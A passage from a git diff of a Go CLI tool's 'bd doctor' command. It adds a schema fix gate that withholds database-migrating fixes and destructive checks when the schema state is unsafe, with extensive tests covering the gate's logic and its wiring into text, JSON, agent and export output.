than silently escaping the gate. +func TestIsFilesystemOnlyFix_DefaultsToGuarded(t *testing.T) { + for _, name := range []string{"Gitignore", "Permissions", "Lock Files", "Git Hooks"} { + if !IsFilesystemOnlyFix(name) { + t.Errorf("%q should be classified filesystem-only", name) + } + } + for _, name := range []string{ + "Database", "Schema Compatibility", "Blocked State", + "Some Check Added Next Year", "", + } { + if IsFilesystemOnlyFix(name) { + t.Errorf("%q must default to database-touching (guarded)", name) + } + } +} + +// TestFixGateAllowsFix pins the single admission policy: filesystem-only fixes +// follow AllowFSFix; everything else needs AllowDBFix, except recovery fixers, +// which stay available only while the database is unreachable. +func TestFixGateAllowsFix(t *testing.T) { + ahead := FixGate{Determined: true, DBReachable: true, Ahead: true, AllowFSFix: true} + unreachable := FixGate{Determined: true, RecommendFix: true, AllowFSFix: true} + undetermined := FixGate{DBReachable: true, AllowFSFix: true} + safe := safeGate() + + cases := []struct { + gate string + g FixGate + fix string + want bool + }{ + {"safe", safe, "Schema Compatibility", true}, + {"safe", safe, "Corrupt Manifest", true}, + {"safe", safe, "Gitignore", true}, + + {"ahead", ahead, "Schema Compatibility", false}, + {"ahead", ahead, "Pending Migrations", false}, + {"ahead", ahead, "Corrupt Manifest", false}, + {"ahead", ahead, "Database Integrity", false}, + {"ahead", ahead, "Gitignore", true}, + + {"undetermined", undetermined, "Corrupt Manifest", false}, + {"undetermined", undetermined, "Schema Compatibility", false}, + + {"unreachable", unreachable, "Schema Compatibility", false}, + {"unreachable", unreachable, "Pending Migrations", false}, + {"unreachable", unreachable, "Database", false}, + {"unreachable", unreachable, "Fresh Clone", false}, + {"unreachable", unreachable, "Some Future Fix", false}, + {"unreachable", unreachable, "Corrupt Manifest", true}, + {"unreachable", unreachable, "Database Integrity", true}, + {"unreachable", unreachable, "Dolt Format", true}, + {"unreachable", unreachable, "Dolt Schema", true}, + {"unreachable", unreachable, " Corrupt Manifest ", true}, + {"unreachable", unreachable, "Gitignore", true}, + {"no-fs", FixGate{}, "Gitignore", false}, + } + for _, c := range cases { + if got := c.g.AllowsFix(c.fix); got != c.want { + t.Errorf("%s gate: AllowsFix(%q) = %v, want %v", c.gate, c.fix, got, c.want) + } + } +} + +// Recovery and filesystem-only are disjoint classes; a name in both would +// silently take the filesystem branch and ignore the reachability rule. +func TestRecoveryFixesAreNotFilesystemOnly(t *testing.T) { + for name := range recoveryFixes { + if IsFilesystemOnlyFix(name) { + t.Errorf("%q is listed as both a recovery fix and a filesystem-only fix", name) + } + } +} diff --git a/cmd/bd/doctor_agent.go b/cmd/bd/doctor_agent.go index fcfb5d428..aa5cc9892 100644 --- a/cmd/bd/doctor_agent.go +++ b/cmd/bd/doctor_agent.go @@ -19,7 +19,8 @@ type agentDoctorResult struct { // buildAgentResult converts a standard doctorResult to an agent-enriched result. // Only non-OK checks are included in diagnostics — agents don't need 45 "ok" entries. -func buildAgentResult(result doctorResult) agentDoctorResult { +// The gate is applied to each enriched command list; see doctor.EnrichForAgent. +func buildAgentResult(result doctorResult, gate doctor.FixGate) agentDoctorResult { ar := agentDoctorResult{ Path: result.Path, OverallOK: result.OverallOK, @@ -40,7 +41,7 @@ func buildAgentResult(result doctorResult) agentDoctorResult { Detail: check.Detail, Fix: check.Fix, Category: check.Category, - })) + }, gate)) case statusWarning: warnCount++ ar.Diagnostics = append(ar.Diagnostics, doctor.EnrichForAgent(doctor.DoctorCheck{ @@ -50,7 +51,7 @@ func buildAgentResult(result doctorResult) agentDoctorResult { Detail: check.Detail, Fix: check.Fix, Category: check.Category, - })) + }, gate)) } } diff --git a/cmd/bd/doctor_check_gate_test.go b/cmd/bd/doctor_check_gate_test.go new file mode 100644 index 000000000..8c94f2748 --- /dev/null +++ b/cmd/bd/doctor_check_gate_test.go @@ -0,0 +1,204 @@ +package main + +import ( + "strings" + "sync/atomic" + "testing" + + "github.com/steveyegge/beads/cmd/bd/doctor" +) + +// gateStub builds the accessor destructiveCheckRefusal takes, counting how many +// times the gate was actually evaluated. +func gateStub(g doctor.FixGate, calls *atomic.Int32) func() doctor.FixGate { + return func() doctor.FixGate { + calls.Add(1) + return g + } +} + +// presentButUnopenableGate is the shape AssessSchemaFixGate returns for a +// database that is on disk but could not be opened. +func presentButUnopenableGate() doctor.FixGate { + return doctor.FixGate{ + DBPresent: true, + AllowFSFix: true, + Reason: "database exists but could not be opened, so its schema version is unknown", + } +} + +// TestDestructiveCheckRefusalRefusesOnPresentButUnopenableDatabase is the +// call-site half of the PR #5145 fail-open: the refusal must fire for a database +// that exists but could not be opened, because the handler it guards opens the +// store through the migrating factory, which auto-starts a stopped server and +// applies pending migrations before writing. +func TestDestructiveCheckRefusalRefusesOnPresentButUnopenableDatabase(t *testing.T) { + var calls atomic.Int32 + var err error + // HandleErrorWithHint reports on stderr and returns a bare exit code, so the + // refusal text — which interpolates the gate's Reason — is only observable + // there. + stderr := captureStderrDuring(t, func() { + err = destructiveCheckRefusal("pollution", true, false, gateStub(presentButUnopenableGate(), &calls)) + }) + + if err == nil { + t.Fatal("destructiveCheckRefusal returned nil; --check=pollution --clean must be refused on an unopenable database") + } + if !strings.Contains(stderr, "refusing destructive 'bd doctor --check=pollution'") { + t.Errorf("refusal did not name the command it refused:\n%s", stderr) + } + if !strings.Contains(stderr, "could not be opened") { + t.Errorf("refusal did not explain why, so the operator cannot act on it:\n%s", stderr) + } + if calls.Load() != 1 { + t.Errorf("gate evaluated %d times, want exactly 1", calls.Load()) + } +} + +// TestDestructiveCheckRefusalAllowsFilesystemOnlyCleanup pins the two planes +// agreeing about one operation: `bd doctor --fix` admits "Classic Artifacts" +// under a blocked gate because it is filesystem-only, so +// `--check=artifacts --clean` must not be refused with a schema-skew message in +// exactly the degraded state where clearing stale artifacts is safe and useful. +func TestDestructiveCheckRefusalAllowsFilesystemOnlyCleanup(t *testing.T) { + blocked := []struct { + name string + gate doctor.FixGate + }{ + {"present but unopenable", presentButUnopenableGate()}, + {"pending", doctor.FixGate{Determined: true, DBReachable: true, DBPresent: true, Pending: true, AllowFSFix: true, Reason: "pending"}}, + {"ahead", doctor.FixGate{Determined: true, DBReachable: true, DBPresent: true, Ahead: true, AllowFSFix: true, Reason: "ahead"}}, + } + for _, b := range blocked { + var calls atomic.Int32 + if err := destructiveCheckRefusal("artifacts", true, false, gateStub(b.gate, &calls)); err != nil { + t.Errorf("%s gate: --check=artifacts --clean refused, but the same cleanup is admitted by --fix: %v", b.name, err) + } + // The same gate must still refuse the row-deleting sibling, or this test + // would pass by disabling the guard rather than by scoping it. + if err := destructiveCheckRefusal("pollution", true, false, gateStub(b.gate, &calls)); err == nil { + t.Errorf("%s gate: --check=pollution --clean was admitted; it deletes rows and must stay refused", b.name) + } + if err := destructiveCheckRefusal("validate", false, true, gateStub(b.gate, &calls)); err == nil { + t.Errorf("%s gate: --check=validate --fix was admitted; it writes through an opened store", b.name) + } + } +} + +// TestDestructiveCheckRefusalAdmitsWhenNoDatabaseExists keeps the no-hazard case +// unguarded: with no database on disk there is no schema to skew, so refusing +// would block a cleanup that cannot possibly migrate anything. +func TestDestructiveCheckRefusalAdmitsWhenNoDatabaseExists(t *testing.T) { + noDB := doctor.FixGate{Determined: true, RecommendFix: true, AllowFSFix: true} + for _, flag := range []string{"artifacts", "pollution"} { + var calls atomic.Int32 + if err := destructiveCheckRefusal(flag, true, false, gateStub(noDB, &calls)); err != nil { + t.Errorf("--check=%s --clean refused with no database present: %v", flag, err) + } + } +} + +// TestDestructiveCheckRefusalDoesNotProbeReadOnlyChecks pins the laziness the +// gate's contract claims: a read-only `--check` must not evaluate the gate at +// all, because the probe is the only thing that would touch the database on a +// path that otherwise does not. +func TestDestructiveCheckRefusalDoesNotProbeReadOnlyChecks(t *testing.T) { + cases := []struct { + flag string + clean bool + fix bool + }{ + {"artifacts", false, false}, + {"pollution", false, false}, + {"conventions", true, true}, + {"validate", true, false}, + } + for _, c := range cases { + var calls atomic.Int32 + if err := destructiveCheckRefusal(c.flag, c.clean, c.fix, gateStub(presentButUnopenableGate(), &calls)); err != nil { + t.Errorf("--check=%s (clean=%v fix=%v) refused although it cannot write: %v", c.flag, c.clean, c.fix, err) + } + if calls.Load() != 0 { + t.Errorf("--check=%s (clean=%v fix=%v) evaluated the gate %d times; a read-only check must not probe", + c.flag, c.clean, c.fix, calls.Load()) + } + } +} + +// TestNewSchemaGateIsLazyAndMemoised pins the half of the gate's stated contract +// that is a real invariant rather than a call-order claim: one verdict per +// invocation, produced on first use and reused by every later consumer. The +// assessor is the only thing in the command that opens a connection for the +// gate, so evaluating it eagerly would probe on read-only paths, and evaluating +// it twice would let two consumers in one invocation disagree. +func TestNewSchemaGateIsLazyAndMemoised(t *testing.T) { + var calls atomic.Int32 + original := assessSchemaFixGate + t.Cleanup(func() { assessSchemaFixGate = original }) + assessSchemaFixGate = func(path string) doctor.FixGate { + calls.Add(1) + return doctor.FixGate{Determined: true, DBReachable: true, DBPresent: true, DBVersion: 7, AllowFSFix: true} + } + + gate := newSchemaGate("/some/repo") + if calls.Load() != 0 { + t.Fatalf("assessor ran %d times before first use; the gate must be lazy", calls.Load()) + } + + first := gate() + for i := 0; i < 4; i++ { + if got := gate(); got != first { + t.Fatalf("gate() returned %+v on call %d, want the memoised %+v", got, i+2, first) + } + } + if calls.Load() != 1 { + t.Errorf("assessor ran %d times across five reads, want exactly 1", calls.Load()) + } +} + +// TestNewSchemaGatePassesTheRepoPathThrough guards against a seam that reads a +// different workspace than the command was pointed at. +func TestNewSchemaGatePassesTheRepoPathThrough(t *testing.T) { + original := assessSchemaFixGate + t.Cleanup(func() { assessSchemaFixGate = original }) + var seen string + assessSchemaFixGate = func(path string) doctor.FixGate { + seen = path + return doctor.FixGate{} + } + + newSchemaGate("/repo/under/test")() + + if seen != "/repo/under/test" { + t.Errorf("assessor received %q, want %q", seen, "/repo/under/test") + } +} + +// TestApplyFixesReportsWithheldFilesystemOnlyFix pins the reporting hole: a +// filesystem-only fix the gate rejects used to be appended to neither the +// fixable list nor the withheld list, so it was silently no-opped with no +// output. Unreachable while every assessed gate sets AllowFSFix, which is why +// this drives the gate shape directly. +func TestApplyFixesReportsWithheldFilesystemOnlyFix(t *testing.T) { + result := doctorResult{ + Checks: []doctorCheck{ + {Name: "Gitignore", Status: statusWarning, Fix: "add entries"}, + }, + } + // AllowFSFix false is the shape that exposed the hole. + out := captureStdout(t, func() error { + applyFixes(result, doctor.FixGate{DBReachable: true, DBPresent: true, Reason: "schema state unknown"}) + return nil + }) + + if !strings.Contains(out, "Gitignore") { + t.Errorf("withheld filesystem-only fix was not reported at all:\n%s", out) + } + if !strings.Contains(out, "Skipping 1 gated fix(es)") { + t.Errorf("withheld count/label missing; the withheld set is whatever the gate blocked:\n%s", out) + } + if strings.Contains(out, "database fix(es)") { + t.Errorf("a withheld filesystem-only fix was labelled a database fix:\n%s", out) + } +} diff --git a/cmd/bd/doctor_fix.go b/cmd/bd/doctor_fix.go index 9ccba84d2..89b73532c 100644 --- a/cmd/bd/doctor_fix.go +++ b/cmd/bd/doctor_fix.go @@ -16,17 +16,36 @@ import ( "golang.org/x/term" ) -// previewFixes shows what would be fixed without applying changes -func previewFixes(result doctorResult) { - // Collect all fixable issues - var fixableIssues []doctorCheck +// collectFixableIssues returns actionable fixes split by whether applying them +// can touch the database schema (GH#4993). A schema gate should withhold schema +// writes, not refuse to repair a file mode. +func collectFixableIssues(result doctorResult) (dbFixes, fsFixes []doctorCheck) { for _, check := range result.Checks { - if (check.Status == statusWarning || check.Status == statusError) && check.Fix != "" { - fixableIssues = append(fixableIssues, check) + if check.Status != statusWarning && check.Status != statusError { + continue + } + if check.Fix == "" { + continue + } + if doctor.IsFilesystemOnlyFix(check.Name) { + fsFixes = append(fsFixes, check) + } else { + dbFixes = append(dbFixes, check) } } + return dbFixes, fsFixes +} - if len(fixableIssues) == 0 { +// previewFixes shows what would be fixed without applying changes. A dry run +// writes nothing, so it is never refused on schema grounds; the gate decides +// how each fix is labeled, not whether the preview runs. +func previewFixes(result doctorResult, gate doctor.FixGate) { + if gate.Reason != "" { + fmt.Printf("\n%s Schema gate: %s\n", ui.RenderWarn("⚠"), gate.Reason) + } + + dbFixes, fsFixes := collectFixableIssues(result) + if len(dbFixes)+len(fsFixes) == 0 { fmt.Println("\n✓ No fixable issues found (dry-run)") return } @@ -34,9 +53,10 @@ func previewFixes(result doctorResult) { fmt.Println("\n[DRY-RUN] The following issues would be fixed with --fix:") fmt.Println() - for i, issue := range fixableIssues { - // Show the issue details - fmt.Printf(" %d. %s\n", i+1, issue.Name) + n := 0 + printIssue := func(issue doctorCheck, blocked bool) { + n++ + fmt.Printf(" %d. %s\n", n, issue.Name) if issue.Status == statusError { fmt.Printf(" Status: %s\n", ui.RenderFail("ERROR")) } else { @@ -47,19 +67,75 @@ func previewFixes(result doctorResult) { fmt.Printf(" Detail: %s\n", issue.Detail) } fmt.Printf(" Fix: %s\n", issue.Fix) + if blocked { + fmt.Printf(" %s\n", ui.RenderWarn("Blocked by the schema gate — would be skipped")) + } fmt.Println() } - fmt.Printf("[DRY-RUN] Would attempt to fix %d issue(s)\n", len(fixableIssues)) - fmt.Println("Run 'bd doctor --fix' to apply these fixes") + // GH#4993: admission is FixGate.AllowsFix alone. Reason is advisory text, + // not a safety signal — an unreachable/undetermined gate leaves Reason at + // its zero value ("") while still needing schema-writing fixes withheld, + // so admitting on gate.Reason == "" reopened the bypass this gate closes. + blocked := 0 + for _, issue := range append(append([]doctorCheck{}, fsFixes...), dbFixes...) { + withheld := !gate.AllowsFix(issue.Name) + if withheld { + blocked++ + } + printIssue(issue, withheld) + } + total := len(fsFixes) + len(dbFixes) + + switch { + case blocked > 0 && blocked < total: + fmt.Printf("[DRY-RUN] Would apply %d fix(es); %d fix(es) are blocked by the schema gate\n", + total-blocked, blocked) + fmt.Println("Run 'bd doctor --fix' to apply the permitted fixes; resolve the schema state to apply the rest") + case blocked > 0: + fmt.Printf("[DRY-RUN] All %d fix(es) are blocked by the schema gate\n", total) + fmt.Println("Resolve the schema state shown above before running 'bd doctor --fix'") + default: + fmt.Printf("[DRY-RUN] Would attempt to fix %d issue(s)\n", total) + fmt.Println("Run 'bd doctor --fix' to apply these fixes") + } } -func applyFixes(result doctorResult) { - // Collect all fixable issues - var fixableIssues []doctorCheck - for _, check := range result.Checks { - if (check.Status == statusWarning || check.Status == statusError) && check.Fix != "" { - fixableIssues = append(fixableIssues, check) +func applyFixes(result doctorResult, gate doctor.FixGate) { + if gate.Reason != "" { + fmt.Printf("\n%s Schema gate: %s\n", ui.RenderWarn("⚠"), gate.Reason) + } + + dbFixes, fsFixes := collectFixableIssues(result) + + // GH#4993: withhold only what the gate is about. Filesystem-only fixes + // are never schema writes, and recovery fixers stay available when the + // database is unreachable (FixGate.AllowsFix); everything else is withheld + // whenever the gate blocks. Admission is AllowsFix alone, never + // gate.Reason == "". + // Everything AllowsFix rejects is reported. Qualifying this with + // !IsFilesystemOnlyFix would drop a withheld filesystem-only fix from both + // lists, silently no-opping it: unreachable while every constructed gate sets + // AllowFSFix, but a future gate shape that does not would fix nothing and say + // nothing. The label stays generic for the same reason — the withheld set is + // whatever the gate blocked, not necessarily database work. + var fixableIssues, withheld []doctorCheck + for _, issue := range append(append([]doctorCheck{}, fsFixes...), dbFixes...) { + if gate.AllowsFix(issue.Name) { + fixableIssues = append(fixableIssues, issue) + } else { + withheld = append(withheld, issue) + } + } + if len(withheld) > 0 { + reason := gate.Reason + if reason == "" { + reason = "database schema state could not be assessed" + } + fmt.Printf("\n%s Skipping %d gated fix(es) — %s\n", + ui.RenderFail("✗"), len(withheld), reason) + for _, issue := range withheld { + fmt.Printf(" · %s\n", issue.Name) } } diff --git a/cmd/bd/doctor_fix_gate_wiring_test.go b/cmd/bd/doctor_fix_gate_wiring_test.go new file mode 100644 index 000000000..cba9b6807 --- /dev/null +++ b/cmd/bd/doctor_fix_gate_wiring_test.go @@ -0,0 +1,460 @@ +package main + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/cmd/bd/doctor" +) + +// The tests in this file cover the WIRING of the schema fix gate, not its +// predicate logic (that lives in cmd/bd/doctor/fix_gate_test.go). +// +// This distinction is the whole point. GH#4993 originally shipped with a +// correct predicate and a full suite of green tests, while three of the four +// output paths emitted unguarded advice, one command family bypassed the gate +// entirely, and a bare `bd doctor` applied migrations before the gate was +// consulted. Every one of those is a wiring defect, and a test that constructs +// a FixGate by hand cannot observe any of them. + +const rawFixTip = "Run 'bd doctor --fix' to untrack runtime files" + +// blockedGate is a determined gate that forbids recommending --fix. +func blockedGate() doctor.FixGate { + return doctor.FixGate{ + Determined: true, + DBReachable: true, + Ahead: true, + AllowFSFix: true, + DBVersion: 52, + BinaryVersion: 49, + Reason: "database schema is at v52, this binary knows up to v49 (3 migrations ahead)", + } +} + +func resultWithFixTip() doctorResult { + return doctorResult{ + Path: "/tmp/does-not-need-to-exist", + CLIVersion: "test", + Checks: []doctorCheck{ + { + Name: "Tracked Runtime Files", + Status: statusWarning, + Message: "runtime files are tracked", + Category: "Core", + Fix: rawFixTip, + }, + }, + } +} + +// assertNoUnguardedFixAdvice fails if the raw tip appears anywhere that is not +// inside the gate's own "Original tip was: ..." rewrite. +func assertNoUnguardedFixAdvice(t *testing.T, label, out string) { + t.Helper() + if !strings.Contains(out, rawFixTip) { + return + } + guarded := strings.Count(out, "Original tip was: "+rawFixTip) + total := strings.Count(out, rawFixTip) + if guarded != total { + t.Errorf("%s emitted --fix advice the schema gate had ruled unsafe\n"+ + " %d occurrence(s), only %d guarded\n---output---\n%s", + label, total, guarded, out) + } +} + +// TestNoEmitterLeaksUnguardedFixAdvice is the regression test for the central +// defect: the sanitizer used to run inside printDiagnostics only, so --json, +// --agent and --output published advice the gate had already ruled unsafe. +// +// It is written as a property over the whole emitter set rather than as one +// example per format, because the failure mode is "somebody added an output +// path and did not know the guard existed." +func TestNoEmitterLeaksUnguardedFixAdvice(t *testing.T) { + gate := blockedGate() + + result := resultWithFixTip() + sanitizeFixAdvice(&result, gate) + + tmp := t.TempDir() + + emitters := []struct { + name string + emit func(t *testing.T, r doctorResult) string + }{ + { + name: "text/printDiagnostics", + emit: func(t *testing.T, r doctorResult) string { + return captureStdout(t, func() error { + printDiagnostics(r, gate) + return nil + }) + }, + }, + { + name: "json/doctorResult", + emit: func(t *testing.T, r doctorResult) string { + b, err := json.Marshal(r) + if err != nil { + t.Fatalf("marshal: %v", err) + } + return string(b) + }, + }, + { + name: "agent/buildAgentResult", + emit: func(t *testing.T, r doctorResult) string { + b, err := json.Marshal(buildAgentResult(r, gate)) + if err != nil { + t.Fatalf("marshal agent result: %v", err) + } + return string(b) + }, + }, + { + name: "export/exportDiagnostics", + emit: func(t *testing.T, r doctorResult) string { + p := filepath.Join(tmp, "diag.json") + if err := exportDiagnostics(r, p); err != nil { + t.Fatalf("export: %v", err) + } + b, err := os.ReadFile(p) // #nosec G304 - test-controlled path + if err != nil { + t.Fatalf("read export: %v", err) + } + return string(b) + }, + }, + } + + for _, e := range emitters { + t.Run(e.name, func(t *testing.T) { + assertNoUnguardedFixAdvice(t, e.name, e.emit(t, result)) + }) + } +} + +// assertAgentCommandsGuarded fails if any remediation command in the agent +// output steers at `bd doctor --fix` without the gate's rewrite marker. +// Agent enrichers hardcode their own commands, so the raw tip used by the +// other emitters is not what leaks here; the command text itself is. +func assertAgentCommandsGuarded(t *testing.T, label string, ar agentDoctorResult) { + t.Helper() + for _, d := range ar.Diagnostics { + for _, c := range d.Commands { + if doctor.MentionsFixAdvice(c) && !strings.Contains(c, "Original tip was: ") { + t.Errorf("%s: check %q (%s) published unguarded --fix command %q under a blocked gate", + label, d.Name, d.Status, c) + } + } + } +} + +// TestNoAgentEnricherLeaksUnguardedFixCommand runs the --agent emitter over +// EVERY registered enricher, plus a name with no enricher (generic path). +// The original fixture used only an unenriched name, so the ~18 enrichers that +// hardcode `bd doctor --fix` were never exercised and the test passed +// vacuously. Both statuses are covered because some enrichers branch on it. +func TestNoAgentEnricherLeaksUnguardedFixCommand(t *testing.T) { + names := append(doctor.AgentEnricherNames(), "Tracked Runtime Files") + if len(names) < 20 { + t.Fatalf("expected the full enricher registry plus the unenriched case, got %d names", len(names)) + } + + build := func(gate doctor.FixGate) agentDoctorResult { + var r doctorResult + for _, name := range names { + for _, status := range []string{statusError, statusWarning} { + r.Checks = append(r.Checks, doctorCheck{ + Name: name, Status: status, Message: "m", Category: "Core", Fix: rawFixTip, + }) + } + } + sanitizeFixAdvice(&r, gate) + return buildAgentResult(r, gate) + } + + // Non-vacuity: under a safe gate the fixture must actually surface + // `bd doctor --fix` commands from enrichers, or the blocked-gate assertion + // below proves nothing. Schema Compatibility and Database Integrity are + // the checks that fire on the very skew this gate exists for. + surfaced := map[string]bool{} + for _, d := range build(doctor.FixGate{Determined: true, DBReachable: true, RecommendFix: true, AllowDBFix: true, AllowFSFix: true}).Diagnostics { + for _, c := range d.Commands { + if doctor.MentionsFixAdvice(c) { + surfaced[d.Name] = true + } + } + } + for _, must := range []string{"Schema Compatibility", "Database Integrity", "Tracked Runtime Files"} { + if !surfaced[must] { + t.Fatalf("fixture too weak: %q surfaced no --fix command under a safe gate", must) + } + } + if len(surfaced) < 15 { + t.Fatalf("fixture too weak: only %d names surfaced --fix commands", len(surfaced)) + } + + assertAgentCommandsGuarded(t, "blocked gate", build(blockedGate())) +} + +// TestSanitizeFixAdviceWritesThroughSlice pins the specific Go mistake that +// made the original guard a no-op: ranging by value over []doctorCheck mutates +// a copy. Asserting on the caller's slice — not on a returned value — is what +// makes this test able to fail. +func TestSanitizeFixAdviceWritesThroughSlice(t *testing.T) { + result := resultWithFixTip() + sanitizeFixAdvice(&result, blockedGate()) + + if result.Checks[0].Fix == rawFixTip { + t.Fatal("sanitizeFixAdvice did not write through to result.Checks — " + + "the mutation was applied to a copy") + } + if !strings.Contains(result.Checks[0].Fix, "Do NOT run") { + t.Fatalf("expected a guarded tip, got %q", result.Checks[0].Fix) + } +} + +// TestSanitizeFixAdviceIsIdempotent guards against double-wrapping now that the +// pass runs again after --fix re-runs diagnostics. +func TestSanitizeFixAdviceIsIdempotent(t *testing.T) { + gate := blockedGate() + result := resultWithFixTip() + + sanitizeFixAdvice(&result, gate) + once := result.Checks[0].Fix + sanitizeFixAdvice(&result, gate) + twice := result.Checks[0].Fix + + if strings.Count(twice, "Original tip was:") > 1 { + t.Fatalf("sanitizing twice nested the guard:\n once: %q\ntwice: %q", once, twice) + } +} + +// TestCheckFlagWrites enumerates which --check= invocations can modify state. +// The gate is applied at a single branch point in RunE keyed off this function, +// so this table is the complete statement of what is guarded — a new +// destructive check that is missing here is a silent bypass. +func TestCheckFlagWrites(t *testing.T) { + cases := []struct { + flag string + clean bool + fix bool + want bool + }{ + {"pollution", true, false, true}, + {"pollution", false, false, false}, + {"artifacts", true, false, true}, + {"artifacts", false, false, false}, + {"validate", false, true, true}, + {"validate", false, false, false}, + {"conventions", true, true, false}, + {"unknown-check", true, true, false}, + } + for _, c := range cases { + if got := checkFlagWrites(c.flag, c.clean, c.fix); got != c.want { + t.Errorf("checkFlagWrites(%q, clean=%v, fix=%v) = %v, want %v", + c.flag, c.clean, c.fix, got, c.want) + } + } +} + +// unreachableGate mirrors the `unreachable` FixGate literal in +// cmd/bd/doctor/fix_gate.go (AssessSchemaFixGate, openDoltDB failure branch): +// Determined and AllowFSFix are true, but AllowDBFix and Reason are left at +// their zero values (false, ""). A gate keyed off `gate.Reason == ""` reads +// this shape as "safe to fix" and admits database fixes on a stopped or +// unreachable Dolt server — the bypass GH#4993 exists to close. +func unreachableGate() doctor.FixGate { + return doctor.FixGate{ + Determined: true, + RecommendFix: true, + AllowFSFix: true, + BinaryVersion: 49, + } +} + +func resultWithDBFix() doctorResult { + return doctorResult{ + Path: "/tmp/does-not-need-to-exist", + CLIVersion: "test", + Checks: []doctorCheck{ + { + Name: "Schema Compatibility", + Status: statusError, + Message: "schema version mismatch", + Category: "Core", + Fix: "run 'bd doctor --fix' to migrate", + }, + }, + } +} + +// TestApplyFixesWithholdsDBFixOnUnreachableGate is the regression test for the +// gate bypass: applyFixes admitted a database fix whenever +// `gate.AllowDBFix || gate.Reason == ""`, which is true for the unreachable +// shape above even though AllowDBFix is false. Gating on AllowDBFix alone +// withholds it. +func TestApplyFixesWithholdsDBFixOnUnreachableGate(t *testing.T) { + gate := unreachableGate() + result := resultWithDBFix() + + out := captureStdout(t, func() error { + applyFixes(result, gate) + return nil + }) + + if strings.Contains(out, "Fixing Schema Compatibility") { + t.Fatalf("applyFixes attempted a database fix on an unreachable gate:\n%s", out) + } + if !strings.Contains(out, "No fixable issues found") { + t.Fatalf("expected applyFixes to withhold the only fix (a database fix) on an unreachable gate, got:\n%s", out) + } +} + +// withNullStdin points os.Stdin at /dev/null so applyFixes takes its +// non-interactive early return after listing what it would fix, instead of +// prompting or running a real fixer against the test's fake path. +func withNullStdin(t *testing.T) { + t.Helper() + f, err := os.Open(os.DevNull) + if err != nil { + t.Fatal(err) + } + orig := os.Stdin + os.Stdin = f + t.Cleanup(func() { + os.Stdin = orig + _ = f.Close() + }) +} + +func resultWithRecoveryAndSchemaFixes() doctorResult { + return doctorResult{ + Path: "/tmp/does-not-need-to-exist", + CLIVersion: "test", + Checks: []doctorCheck{ + {Name: "Corrupt Manifest", Status: statusError, Message: "manifest corrupt", Fix: "bd doctor --fix"}, + {Name: "Dolt Format", Status: statusWarning, Message: "pre-v56 dolt dir", Fix: "bd doctor --fix"}, + {Name: "Database Integrity", Status: statusError, Message: "integrity check failed", Fix: "bd doctor --fix"}, + {Name: "Dolt Schema", Status: statusWarning, Message: "dolt_database missing", Fix: "bd doctor --fix"}, + {Name: "Schema Compatibility", Status: statusError, Message: "schema mismatch", Fix: "bd doctor --fix"}, + {Name: "Pending Migrations", Status: statusWarning, Message: "pending", Fix: "bd doctor --fix"}, + }, + } +} + +// TestApplyFixesKeepsRecoveryFixesOnUnreachableGate pins the narrow rule that +// an unopenable database must not withhold the fixes that repair an unopenable +// database: recovery fixers are listed as runnable, schema-writing fixes are +// still skipped. +func TestApplyFixesKeepsRecoveryFixesOnUnreachableGate(t *testing.T) { + withNullStdin(t) + out := captureStdout(t, func() error { + applyFixes(resultWithRecoveryAndSchemaFixes(), unreachableGate()) + return nil + }) + + for _, name := range []string{"Corrupt Manifest", "Dolt Format", "Database Integrity", "Dolt Schema"} { + if !strings.Contains(out, name+": ") { + t.Errorf("recovery fix %q was not offered on an unreachable gate:\n%s", name, out) + } + } + for _, name := range []string{"Schema Compatibility", "Pending Migrations"} { + if strings.Contains(out, name+": ") { + t.Errorf("schema-writing fix %q was offered on an unreachable gate:\n%s", name, out) + } + if !strings.Contains(out, "· "+name) { + t.Errorf("schema-writing fix %q was not reported as skipped:\n%s", name, out) + } + } +} + +// TestApplyFixesWithholdsRecoveryFixesWhenDatabaseReachableButBlocked is the +// other edge of the same rule: the exception exists because an unreachable +// database has no readable schema to skew. A reachable database that is ahead +// of the binary still gets backup+reinit withheld. +func TestApplyFixesWithholdsRecoveryFixesWhenDatabaseReachableButBlocked(t *testing.T) { + withNullStdin(t) + out := captureStdout(t, func() error { + applyFixes(resultWithRecoveryAndSchemaFixes(), blockedGate()) + return nil + }) + + if !strings.Contains(out, "No fixable issues found") { + t.Fatalf("expected every fix withheld on a reachable, skewed gate, got:\n%s", out) + } + if strings.Contains(out, "Corrupt Manifest: ") { + t.Fatalf("recovery fix offered while the database is reachable and ahead:\n%s", out) + } +} + +// TestPreviewFixesLabelsOnlySchemaWritingFixesBlockedOnUnreachableGate is the +// dry-run half of the recovery rule. +func TestPreviewFixesLabelsOnlySchemaWritingFixesBlockedOnUnreachableGate(t *testing.T) { + out := captureStdout(t, func() error { + previewFixes(resultWithRecoveryAndSchemaFixes(), unreachableGate()) + return nil + }) + if got := strings.Count(out, "Blocked by the schema gate"); got != 2 { + t.Fatalf("expected exactly the 2 schema-writing fixes labelled blocked, got %d:\n%s", got, out) + } + if !strings.Contains(out, "Would apply 4 fix(es); 2 fix(es) are blocked by the schema gate") { + t.Fatalf("unexpected dry-run summary:\n%s", out) + } +} + +// TestPreviewFixesFlagsDBFixAsBlockedOnUnreachableGate is the dry-run half of +// the same regression: blockDB used `!gate.AllowDBFix && gate.Reason != ""`, +// which is false (not blocked) for the same unreachable shape, so a dry run +// never warned that the fix would actually be withheld. +func TestPreviewFixesFlagsDBFixAsBlockedOnUnreachableGate(t *testing.T) { + gate := unreachableGate() + result := resultWithDBFix() + + out := captureStdout(t, func() error { + previewFixes(result, gate) + return nil + }) + + if !strings.Contains(out, "Blocked by the schema gate") { + t.Fatalf("previewFixes did not flag the database fix as blocked on an unreachable gate:\n%s", out) + } + if !strings.Contains(out, "blocked by the schema gate") { + t.Fatalf("expected the dry-run summary to report the fix(es) as blocked, got:\n%s", out) + } +} + +// TestCollectFixableIssuesPartitionsByBlastRadius pins the split that lets a +// schema gate withhold schema writes without also refusing to repair a file +// mode — the "no hatch for filesystem-only fixes" complaint. +func TestCollectFixableIssuesPartitionsByBlastRadius(t *testing.T) { + result := doctorResult{ + Checks: []doctorCheck{ + {Name: "Gitignore", Status: statusWarning, Fix: "add entries"}, + {Name: "Permissions", Status: statusError, Fix: "chmod"}, + {Name: "Schema Compatibility", Status: statusError, Fix: "migrate"}, + {Name: "Database", Status: statusWarning, Fix: "repair"}, + {Name: "Healthy Thing", Status: statusOK, Fix: "should be ignored"}, + {Name: "No Fix Available", Status: statusError}, + }, + } + + dbFixes, fsFixes := collectFixableIssues(result) + + if len(fsFixes) != 2 { + t.Errorf("expected 2 filesystem fixes, got %d: %+v", len(fsFixes), 